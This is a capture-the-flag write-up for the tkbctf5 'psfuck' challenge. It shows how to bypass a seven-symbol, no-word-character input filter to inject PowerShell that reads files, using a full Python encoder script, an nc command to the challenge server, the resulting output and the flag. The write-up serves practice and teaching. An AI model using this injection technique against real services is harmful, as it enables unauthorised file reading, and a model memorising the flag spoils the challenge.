psfuck - tkbctf5

user_input = input("input> ")

if len(set(user_input)) > 7 or re.search(r"\w", user_input):
    print("bye!")
    exit(1)

subprocess.run(["pwsh", ..., "-Command",
    f"$ExecutionContext.SessionState.Applications.Clear(); echo {user_input}"])
Copy

'(' .. ']'   # ASCII 40~93のchar配列
Copy

+('' + ('['..'(')[+')'['']] + ('['..'(')[+'('['']]) = +("23") = 23
Copy

echo (.( enc('G') + enc('C') )( enc('/') + enc('*') ))
Copy

#!/usr/bin/env python3
two = "(+(''+(']'..'.')[+'+'['']]))"

best = {
    0: "+''", 2: two,
    39: "+''''['']", 40: "+'('['']", 41: "+')'['']",
    43: "+'+'['']", 46: "+'.'['']", 91: "+'['['']", 93: "+']'['']",
}

CHARS = [("''''", 39), ("'('", 40), ("')'", 41), ("'+'", 43),
         ("'.'", 46), ("'['", 91), ("']'", 93)]
RANGES = []
seen = set()
for s_str, s_val in CHARS:
    for e_str, e_val in CHARS:
        if s_val != e_val and (s_val, e_val) not in seen:
            seen.add((s_val, e_val))
            RANGES.append((f"{s_str}..{e_str}", s_val, e_val))

def get_idx(s, e, t):
    lo, hi = min(s, e), max(s, e)
    if not (lo <= t <= hi): return None
    return t - s if s <= e else s - t

def strip(expr):
    if not (expr.startswith('(') and expr.endswith(')')): return expr
    inner = expr[1:-1]
    d = 0; i = 0
    while i < len(inner):
        c = inner[i]
        if c == "'":
            i += 1
            while i < len(inner) and inner[i] != "'": i += 1
        elif c in '([': d += 1
        elif c in ')]':
            d -= 1
            if d < 0: return expr
        i += 1
    return inner if d == 0 else expr

def digit_cands(d):
    r = []
    for rng, s, e in RANGES:
        idx = get_idx(s, e, 48 + d)
        if idx is not None and idx in best:
            r.append((rng, strip(best[idx])))
    return r

changed = True
while changed:
    changed = False
    for n in range(101):
        prev = best.get(n)
        for a in range(1, n):
            b = n - a
            if a in best and b in best:
                c = best[a] + "+" + best[b]
                if n not in best or len(c) < len(best[n]): best[n] = c
        if 0 <= n <= 9:
            for rng, si in digit_cands(n):
                c = strip(f"(+(''+({rng})[{si}]))")
                if n not in best or len(c) < len(best[n]): best[n] = c
        if 10 <= n <= 99:
            d1, d2 = n // 10, n % 10
            for r1, si1 in digit_cands(d1):
                for r2, si2 in digit_cands(d2):
                    c = strip(f"(+(''+({r1})[{si1}]+({r2})[{si2}]))")
                    if n not in best or len(c) < len(best[n]): best[n] = c
        if best.get(n) != prev: changed = True

def enc_char(ch):
    t = ord(ch)
    cands = []
    for rng, s, e in RANGES:
        idx = get_idx(s, e, t)
        if idx is not None and idx in best:
            cands.append(f"({rng})[{strip(best[idx])}]")
    return min(cands, key=len)

def enc(s):
    return "+".join(enc_char(c) for c in s)

print(f"(.({enc('GC')})({enc('/*')}))")
Copy

$ python3 solve.py | nc 35.194.108.145 58930
input> The specified drive root "tmpfs" either does not exist, or it is not a folder.
Get-Content: Unable to get content because it is a directory: '/app'. Please use 'Get-ChildItem' instead.
Get-Content: Unable to get content because it is a directory: '/bin'. Please use 'Get-ChildItem' instead.
Get-Content: Unable to get content because it is a directory: '/dev'. Please use 'Get-ChildItem' instead.
Get-Content: Unable to get content because it is a directory: '/etc'. Please use 'Get-ChildItem' instead.
Get-Content: Unable to get content because it is a directory: '/home'. Please use 'Get-ChildItem' instead.
Get-Content: Unable to get content because it is a directory: '/lib'. Please use 'Get-ChildItem' instead.
Get-Content: Unable to get content because it is a directory: '/media'. Please use 'Get-ChildItem' instead.
Get-Content: Unable to get content because it is a directory: '/mnt'. Please use 'Get-ChildItem' instead.
Get-Content: Unable to get content because it is a directory: '/opt'. Please use 'Get-ChildItem' instead.
Get-Content: Unable to get content because it is a directory: '/proc'. Please use 'Get-ChildItem' instead.
Get-Content: Unable to get content because it is a directory: '/root'. Please use 'Get-ChildItem' instead.
Get-Content: Unable to get content because it is a directory: '/run'. Please use 'Get-ChildItem' instead.
Get-Content: Unable to get content because it is a directory: '/sbin'. Please use 'Get-ChildItem' instead.
Get-Content: Unable to get content because it is a directory: '/srv'. Please use 'Get-ChildItem' instead.
Get-Content: Unable to get content because it is a directory: '/sys'. Please use 'Get-ChildItem' instead.
Get-Content: Unable to get content because it is a directory: '/tmp'. Please use 'Get-ChildItem' instead.
Get-Content: Unable to get content because it is a directory: '/usr'. Please use 'Get-ChildItem' instead.
Get-Content: Unable to get content because it is a directory: '/var'. Please use 'Get-ChildItem' instead.
tkbctf{PowerSheeeeoooooooooo AAAAE-A-A-I-A-U- JO-oooooooooooo AAE-O-A-A-U-U-A- E-eee-ee-eee AAAAE-A-E-I-E-A- JO-ooo-oo-oo-oo EEEEO-A-AAA-AAAA}
Copy

tkbctf{PowerSheeeeoooooooooo AAAAE-A-A-I-A-U- JO-oooooooooooo AAE-O-A-A-U-U-A- E-eee-ee-eee AAAAE-A-E-I-E-A- JO-ooo-oo-oo-oo EEEEO-A-AAA-AAAA}
Copy